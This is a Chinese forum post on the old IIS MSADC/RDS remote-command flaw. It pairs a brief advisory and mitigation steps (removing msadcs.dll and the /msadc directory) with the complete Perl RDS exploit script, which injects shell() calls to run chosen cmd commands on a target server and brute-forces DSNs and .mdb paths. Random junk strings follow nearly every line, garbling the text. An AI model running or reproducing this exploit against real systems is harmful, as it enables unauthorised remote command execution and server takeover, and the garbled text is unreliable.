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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) J-klpr#  
CqX*.j{  
涉及程序: r#}o +3*  
Microsoft NT server >B$ IrM7J  
&I{5f-o*  
描述: }-Nc}%5  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 olHmRJ  
z 7cA5'c  
详细:  Lo)T  
如果你没有时间读详细内容的话,就删除: OwDwa~  
c:\Program Files\Common Files\System\Msadc\msadcs.dll cp`ZeLz2^  
有关的安全问题就没有了。 ']^]z".H  
Xoq -  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 !b$~Sm)  
E;k$ICOXA  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 PVQn$-aq1  
关于利用ODBC远程漏洞的描述,请参看: /Ea&Zm  
W_ ;b e  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm r. rzU  
Y$ KR\ m  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 au+:-Khm  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ?cK67|%W  
-<u_fv  
这里不再论述。 &pv* TL8  
BISH34  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: ( ~JtKSq%  
G}]'}FUp  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Uw)B(;Hy?  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! M@pF[J/  
#!(2@N8  
`0 W+(9}  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ?. L]QU  
0yb9R/3.  
#!perl $/E{3aT@F2  
# g/i.b&  
# MSADC/RDS 'usage' (aka exploit) script w[^lxq  
# #=F{G4d)!=  
# by rain.forest.puppy !|J2o8g  
# =6qSo @  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 7VLn$q]:  
# beta test and find errors! $?OQtz@  
'^'PdB  
use Socket; use Getopt::Std; P;IM -]  
getopts("e:vd:h:XR", \%args); @,]$FBT"5  
1_@vxi~aW_  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; M'NOM>8  
&mba{O  
if (!defined $args{h} && !defined $args{R}) { j}G9+GX~,  
print qq~ =< P$mFP2*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } - C8VDjf9  
-h <host> = host you want to scan (ip or domain) raR=k!3i  
-d <seconds> = delay between calls, default 1 second F]RZP/D`  
-X = dump Index Server path table, if available :{-/b  
-v = verbose $o ;48uV^  
-e = external dictionary file for step 5 GCxmqoQ  
qM d4awB R  
Or a -R will resume a command session h~Z:YY)4  
TH~"y  
~; exit;} Ma ]*Pled  
1[e%E#h  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; tR?)C=4,  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} K[q-[q#yc  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \.=,}sV2Z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 1E$^ul-v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} X09i+/ICK  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } ;F /w&u.n  
Z..s /K {  
if (!defined $args{R}){ $ret = &has_msadc; =o[H2o y  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} &(NxkZp!  
VexQ ]  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" .6iJ:A6T  
. "cmd /c "; ?+byRoY>&g  
$in=<STDIN>; chomp $in; 2KNs,4X@  
$command="cmd /c " . $in ; I\= &v^]  
$N4i)>&T2  
if (defined $args{R}) {&load; exit;} \IOF 9) F  
=BeJ.8$@VC  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <t,lq  
&try_btcustmr; e#ne5   
U;Yw\&R,  
print "\nStep 2: Trying to make our own DSN..."; zy8D&7Ytf  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 2bOFH6g  
KN.WTaO  
print "\nStep 3: Trying known DSNs..."; wHs4~"EY9  
&known_dsn; oK2jPP  
=^w:G=ymS  
print "\nStep 4: Trying known .mdbs..."; ]q|U0(q9  
&known_mdb; ;Hu`BFXyD  
n7bML?f'  
if (defined $args{e}){ |bk$VT4\  
print "\nStep 5: Trying dictionary of DSN names..."; I:] Pd  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } r@G34Q C+  
%p^`,b}  
print "Sorry Charley...maybe next time?\n"; S|_"~Nd=  
exit; F7`[r9 $  
h?vt6t9  
############################################################################## D|/ 4),v  
X>eFGCz}I  
sub sendraw { # ripped and modded from whisker ]fU0;jzX  
sleep($delay); # it's a DoS on the server! At least on mine... Yo,n#<37  
my ($pstr)=@_; F>aaUj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || awOH50R  
die("Socket problems\n"); f}Uf* Bp  
if(connect(S,pack "SnA4x8",2,80,$target)){ dK7BjZTJo  
select(S); $|=1; nOU.=N v`  
print $pstr; my @in=<S>; 1*OZu.NdK  
select(STDOUT); close(S); ;sY n=r  
return @in; $6/CTQ  
} else { die("Can't connect...\n"); }} Vd A!tL  
|G P1[Q{  
############################################################################## y2>AbrJ  
32K  
sub make_header { # make the HTTP request pUeok+k_  
my $msadc=<<EOT p u[S  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 G4J)o?:m@  
User-Agent: ACTIVEDATA =L, 7~9  
Host: $ip U;FJSy  
Content-Length: $clen {A{sRT=%  
Connection: Keep-Alive lT;uL~j  
&>vfm9  
ADCClientVersion:01.06 XM:\N$tg  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 fD2 )/5j1  
RFLw)IWkL_  
--!ADM!ROX!YOUR!WORLD! /(DnMHn\  
Content-Type: application/x-varg ??,/85lM  
Content-Length: $reqlen 4&G #Bi  
SF[}s uL  
EOT f_ |=EQ  
; $msadc=~s/\n/\r\n/g; .c\iKc#  
return $msadc;} }EN-WDJD\  
k6(0:/C  
############################################################################## hWRr#030  
|L(h+/>aWX  
sub make_req { # make the RDS request (E7C9U*  
my ($switch, $p1, $p2)=@_; qR9!DQc'  
my $req=""; my $t1, $t2, $query, $dsn; h|OWtf4  
\?"kT}..  
if ($switch==1){ # this is the btcustmr.mdb query ,7SqR Y,+  
$query="Select * from Customers where City=" . make_shell(); af}JS2=$  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Dh)(?"^9A  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} @J<RFgw#  
j-7aJj%  
elsif ($switch==2){ # this is general make table query Fq'Ds[wd5  
$query="create table AZZ (B int, C varchar(10))"; -BEd7@?A  
$dsn="$p1";} %(:{TR  
@81N{tg-  
elsif ($switch==3){ # this is general exploit table query pSodT G$E  
$query="select * from AZZ where C=" . make_shell(); JHg y&/  
$dsn="$p1";} FM<`\ d'  
DJ|lel/'  
elsif ($switch==4){ # attempt to hork file info from index server 6T%5<I*&3s  
$query="select path from scope()"; k;jXVa  
$dsn="Provider=MSIDXS;";} o~26<Lk  
| &/_{T  
elsif ($switch==5){ # bad query $aHHXd}@t2  
$query="select"; M# cJ&+rP  
$dsn="$p1";} +IG=|X  
E_Fm5zb?X  
$t1= make_unicode($query); @]dv   
$t2= make_unicode($dsn); [R<>3}50Y  
$req = "\x02\x00\x03\x00"; )Kq@ m1>@  
$req.= "\x08\x00" . pack ("S1", length($t1)); i-R}O6  
$req.= "\x00\x00" . $t1 ; 'ji|'x T  
$req.= "\x08\x00" . pack ("S1", length($t2)); X}`39r.  
$req.= "\x00\x00" . $t2 ; sCE%./h]  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; $ J!PSF8PL  
return $req;} FA{(gib@9  
 ?Zc(Zy6  
############################################################################## \Yh*ywwP#  
J>1%* Tz  
sub make_shell { # this makes the shell() statement p;~oIy\,  
return "'|shell(\"$command\")|'";} XC4wm#R  
+NVXFjPC  
############################################################################## -Sa-eWP  
$J#Z`%B^y  
sub make_unicode { # quick little function to convert to unicode L9d|7.b  
my ($in)=@_; my $out; -?NAA]P5c@  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Ugme>60`'k  
return $out;} &FWz7O>1  
$4hi D;n  
############################################################################## gi$'x^]#  
s01=C3  
sub rdo_success { # checks for RDO return success (this is kludge) vb3hDy  
my (@in) = @_; my $base=content_start(@in); |\W~+}'g~  
if($in[$base]=~/multipart\/mixed/){ ZtY?X- 4_  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 3!`_Q%  
return 0;} :KS"&h{SY  
!\cVe;<r  
############################################################################## mSGpxZ,IE  
]d.e(yCuE  
sub make_dsn { # this makes a DSN for us GU]kgwSf i  
my @drives=("c","d","e","f"); w!-MMT4y  
print "\nMaking DSN: "; uw(Ml=  
foreach $drive (@drives) { pUa\YO1J  
print "$drive: "; -B#K}xL|x  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . 1p=bpJC  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ,\N4tG1\  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N_d{E/  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ,P=.x%  
return 0 if $2 eq "404"; # not found/doesn't exist #Y'ewu;qJ  
if($2 eq "200") { r 5t{I2  
foreach $line (@results) { tToP7q^  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} >ByqM{?  
} return 0;} ^fmuBe}d{  
t<"%m)J  
############################################################################## $:&b5=i  
.yD5>iBh  
sub verify_exists { KyBtt47\  
my ($page)=@_; t#w,G  
my @results=sendraw("GET $page HTTP/1.0\n\n");  btBu[;  
return $results[0];} M*D@zb0ia  
N%%trlDXD  
############################################################################## Ctx>#uN6  
8fktk?|  
sub try_btcustmr { N#XC%66qy!  
my @drives=("c","d","e","f"); ,aIkiT  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (LJ7xoJ^  
kSEgq<i!  
foreach $dir (@dirs) { *Ea)b -  
print "$dir -> "; # fun status so you can see progress Rtlc&Q.b  
foreach $drive (@drives) { Wevd6)\  
print "$drive: "; # ditto NE4]i  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; DuLl"w\_@  
$reqlenlen=length( "$reqlen" ); YFW/ Fa\7  
$clen= 206 + $reqlenlen + $reqlen; c'mg=jH  
,<Wt8'e  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); dI>cPqQ  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} q_98=fyE6  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} \S&OAe/b  
/U-+ClZi@  
############################################################################## zKp R:F  
7P]i|Q{  
sub odbc_error { T(Bcp^N  
my (@in)=@_; my $base; a <Iikx  
my $base = content_start(@in); <":83RCS  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this cI/}r Z+  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; q=-h#IF^  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; p<?lF   
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]2YC7  
return $in[$base+4].$in[$base+5].$in[$base+6];} A.h0H]*Ma  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; KZa6*,, s  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 2 /*z5  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} P1Eg%Y6  
$s-B  
############################################################################## k'+y  
sx]{N  
sub verbose { |WSpWsr,  
my ($in)=@_; %9J:TH9E)  
return if !$verbose; Db;>MWt+e  
print STDOUT "\n$in\n";} W; os4'h$  
.v+ W>  
############################################################################## R%q:].  
G9GHBwT  
sub save { (bpRX$is  
my ($p1, $p2, $p3, $p4)=@_; `^ a:1^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; 2aX$7E?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; s,kY12<7m  
close OUT;} ynZEJKo  
E7hs+Mh  
############################################################################## ~%eE%5!k  
PgHmOs  
sub load { @&%/<|4P5  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {d]B+'  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .o,-a>jL  
@p=<IN>; close(IN); XKDX*x G  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 8~~ k?  
$target= inet_aton($ip) || die("inet_aton problems"); _n{_\/A6f  
print "Resuming to $ip ..."; Y6.Bi  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; t0kZFU  
if($p[1]==1) { m1X*I  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Iza;~8dH5  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; dw!Xt@,[g{  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); {K}Dpy  
if (rdo_success(@results)){print "Success!\n";} nEW.Y33  
else { print "failed\n"; verbose(odbc_error(@results));}} dmcY]m  
elsif ($p[1]==3){ CfD4m,6  
if(run_query("$p[3]")){ %_CL/H   
print "Success!\n";} else { print "failed\n"; }} 9ZR"Lo>3e+  
elsif ($p[1]==4){ *uP;rUY  
if(run_query($drvst . "$p[3]")){ %++S;#)~  
print "Success!\n"; } else { print "failed\n"; }} Aq7`A^1t$  
exit;} 8 nqF i  
"u&7Y:)^wr  
############################################################################## ~l. C -  
Z_<NUPE  
sub create_table { (Q ^=^s|  
my ($in)=@_; 2"j&_$#l5X  
$reqlen=length( make_req(2,$in,"") ) - 28; 2PUB@B' +  
$reqlenlen=length( "$reqlen" ); 2 e#"JZ=  
$clen= 206 + $reqlenlen + $reqlen; Z#[%JUYp'  
my @results=sendraw(make_header() . make_req(2,$in,"")); =|dm#w_L"  
return 1 if rdo_success(@results); xDSiTp=)O  
my $temp= odbc_error(@results); verbose($temp); o1b.a*SZ  
return 1 if $temp=~/Table 'AZZ' already exists/; HZS.%+2  
return 0;} ~m0=YAlk?  
R/Sm  
############################################################################## KL9JA; "  
V$;`#J$\b  
sub known_dsn { hkV*UH{  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go zQt)>Qx_  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", /L2n ~/  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", DT6 BFx  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); $Fy~xMA8O  
dl |$pm@x  
foreach $dSn (@dsns) { aHI~@  
print "."; .i*ja*   
next if (!is_access("DSN=$dSn")); S;2UcSsQl  
if(create_table("DSN=$dSn")){ q$IU!I4  
print "$dSn successful\n"; 7~ZG"^k  
if(run_query("DSN=$dSn")){ .L^;aL  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :B|rs&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} K;s`  
QfM^J5j.M?  
############################################################################## EG8z&^O x  
5GPAt  
sub is_access { 9o6qN1A0g  
my ($in)=@_; 8JW0;H<  
$reqlen=length( make_req(5,$in,"") ) - 28; ?Iaqbt%2  
$reqlenlen=length( "$reqlen" ); *laFG <;  
$clen= 206 + $reqlenlen + $reqlen; #>BC|/P}  
my @results=sendraw(make_header() . make_req(5,$in,"")); /BF7N3  
my $temp= odbc_error(@results); ,'l.u?SKyd  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 20`XklV  
return 0;} -(}N-yu  
d)XT> &  
############################################################################## >Yv#t.!  
akHQ&+[j  
sub run_query { |c-`XC2g  
my ($in)=@_; *]kE3  
$reqlen=length( make_req(3,$in,"") ) - 28; @:!%Z`  
$reqlenlen=length( "$reqlen" );  wJvk  
$clen= 206 + $reqlenlen + $reqlen; *|0W3uy\Y  
my @results=sendraw(make_header() . make_req(3,$in,"")); U^-J_ yq  
return 1 if rdo_success(@results); ]Rp<64I o  
my $temp= odbc_error(@results); verbose($temp); B8up v~U 6  
return 0;} gK dNgU  
Vt9o8naz  
############################################################################## fKuaom9  
AJRiwP|H+  
sub known_mdb { 3z8zZ1uzU  
my @drives=("c","d","e","f","g"); >Wpdq(o  
my @dirs=("winnt","winnt35","winnt351","win","windows"); xu;^F  
my $dir, $drive, $mdb; W^3'9nYU  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; /T 6Te<68^  
2fPMZ7Zd3  
# this is sparse, because I don't know of many _,-\;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", /`O'eH  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", r&L1jT.  
"\\system32\\certmdb.mdb", L;KLmxy#  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% qEkhgJqk  
rj5)b:c}  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", BTE&7/i 21  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #`"B YFV[E  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 52.hJNq#L  
"\\cfusion\\cfapps\\security\\realm_.mdb", i{J[;rV9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o%Qn%gaX  
"\\cfusion\\database\\cfexamples.mdb", q#Ik3 5  
"\\cfusion\\database\\cfsnippets.mdb", Q?9eu%G6I  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Aca ?C  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", gti=GmL(L  
"\\cfusion\\brighttiger\\database\\cleam.mdb", TR{dNO!q  
"\\cfusion\\database\\smpolicy.mdb", x/92],.Mz  
"\\cfusion\\database\cypress.mdb", F0Z cV>j}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", +,9Mufh  
"\\website\\cgi-win\\dbsample.mdb", 8EI&}I  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H329P*P  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1+Y; "tT  
); #these are just Q@UY4gA '  
foreach $drive (@drives) { $I /RN  
foreach $dir (@dirs){ .>( qZEF  
foreach $mdb (@sysmdbs) { )v.\4Q4  
print "."; h3A|nd>\  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ sZU Ao&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; zPb "6%1B  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ^#2Y4[@  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]PXpzruy  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ^EKf_w-v  
3-2?mV>5  
foreach $drive (@drives) { 5wMEp" YHE  
foreach $mdb (@mdbs) { wijY]$  
print "."; *(<3 oIRS  
if(create_table($drv . $drive . $dir . $mdb)){ 3bB%@^<  
print "\n" . $drive . $dir . $mdb . " successful\n"; OB ~74}3;  
if(run_query($drv . $drive . $dir . $mdb)){ ~bJ*LM?wOP  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; F ?TmOa0  
} else { print "Something's borked. Use verbose next time\n"; }}}} Bk~M^AK@~  
} QgX[?2  
/?QBMI  
############################################################################## 9L9mi<,  
Yy0m &3[  
sub hork_idx { Z7R+'OC  
print "\nAttempting to dump Index Server tables...\n"; fBt7#Tc=U  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; MMUw+jM4  
$reqlen=length( make_req(4,"","") ) - 28; R2[!h1nZ  
$reqlenlen=length( "$reqlen" ); =p';y&   
$clen= 206 + $reqlenlen + $reqlen; R0mWVgoz  
my @results=sendraw2(make_header() . make_req(4,"","")); FKB)o7  
if (rdo_success(@results)){ #/`V.jXt>  
my $max=@results; my $c; my %d; b; 4;WtBO  
for($c=19; $c<$max; $c++){ $rE_rZ+]="  
$results[$c]=~s/\x00//g; v|mZcAz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; hC =="4 -  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; tI(co5 W  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Z?-l-s K  
$d{"$1$2"}="";} l=JK+uZ  
foreach $c (keys %d){ print "$c\n"; } /c1FFkq|K  
} else {print "Index server doesn't seem to be installed.\n"; }} lq!l{[Xp  
%@FTg$  
############################################################################## JEes'H}Y  
D}Lx9cL  
sub dsn_dict { ?wx|n_3<:  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); -gV'z5  
while(<IN>){ dGzZ_Vf  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^T|~L<A3  
next if (!is_access("DSN=$dSn")); ABp/uJI)  
if(create_table("DSN=$dSn")){ vH#^|u  
print "$dSn successful\n"; zW^@\kB0D  
if(run_query("DSN=$dSn")){ bmO[9 )G  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Kq;Yb&  
print "Something's borked. Use verbose next time\n";}}} VscEdtkd  
print "\n"; close(IN);} f+huhJS5e  
O(PG"c  
############################################################################## /^\6q"'  
#\$R^u]!  
sub sendraw2 { # ripped and modded from whisker m>6,{g)  
sleep($delay); # it's a DoS on the server! At least on mine... HLU'1As65  
my ($pstr)=@_; ?c^0%Op  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || pRj1b^F5y  
die("Socket problems\n"); igsJa1F  
if(connect(S,pack "SnA4x8",2,80,$target)){ m>'sM1s  
print "Connected. Getting data"; [x 5T7=  
open(OUT,">raw.out"); my @in; T?c:z?j_9  
select(S); $|=1; print $pstr; Pz1pEyuL  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Uok?FEN  
close(OUT); select(STDOUT); close(S); return @in; Q': }'CI  
} else { die("Can't connect...\n"); }} </|IgN$w`  
`2?9eXC  
############################################################################## R;f!s/^)  
w7 ]@QTC  
sub content_start { # this will take in the server headers +I7n6s\  
my (@in)=@_; my $c; ~fE@]~f>  
for ($c=1;$c<500;$c++) { ucyz>TL0  
if($in[$c] =~/^\x0d\x0a/){ C-$S]6  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } l =ZhHON  
else { return $c+1; }}} EOjo>w>  
return -1;} # it should never get here actually q7C>A`w  
ayuj)]b  
############################################################################## uHUicZf.  
.S17O}  
sub funky { DGTSk9iK(  
my (@in)=@_; my $error=odbc_error(@in); o64&BpCK  
if($error=~/ADO could not find the specified provider/){ < Vr"  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 1j<=TWit  
exit;} =9e( )j  
if($error=~/A Handler is required/){ #n 7uw  
print "\nServer has custom handler filters (they most likely are patched)\n"; ,K8O<Mw8  
exit;} E/9 U0  
if($error=~/specified Handler has denied Access/){ `ej  
print "\nServer has custom handler filters (they most likely are patched)\n"; _gjsAbM  
exit;}} GmB7@-[QA%  
)%U&z>^P  
############################################################################## lN)U8  
}| _uqvin  
sub has_msadc { n0kBLn  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); JGp~A#H&  
my $base=content_start(@results); _H|x6X1-  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); c-!rJHL`  
return 0;} >n)N=Zyu  
q-3%.<LL  
######################## !MNUp(:  
|r!G(an1x4  
Zg%U4m:  
解决方案: l. ?R7f  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll ^_r8R__S:  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 P*XLm  
abUvU26t  
拿出来充数 哈哈
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